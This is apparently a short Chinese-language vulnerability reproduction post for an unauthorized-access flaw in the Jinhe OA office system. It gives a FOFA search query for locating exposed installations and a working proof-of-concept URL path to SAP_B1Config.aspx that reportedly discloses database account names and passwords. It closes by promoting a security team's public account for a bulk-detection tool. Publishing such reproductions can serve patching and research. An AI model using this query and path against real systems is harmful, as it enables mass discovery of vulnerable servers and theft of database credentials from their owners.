漏洞复现-金和OA SAP_B1Config.aspx未授权访问漏洞

漏洞描述

金和QA办公系统是.款集合了办公自动化协同办公工作流管理等功能的企业级管理软件。金和OA办公系统提供了多个模块，包括日程管理、文件管理、邮件管理、人事管理、客户管理、项目管理等。用户可以根据自己的需求选择需要的模块进行使用。该系统存在未授权访问漏洞，攻击者可通过此漏洞获取数据库的账户密码等敏感信息。

漏洞复现

第一步、使用下面fofa语句进行资产收集...确认测试目标

资产测绘：app="金和网络-金和OA"

第二步、登陆页面如下

 第三步、漏洞利用，使用poc进行拼接URL访问，可查看到泄露的数据库账号跟密码

/C6/JHsoft.CostEAI/SAP_B1Config.aspx/?manage=1

批量检测工具

关注揽月安全团队公众号即可获得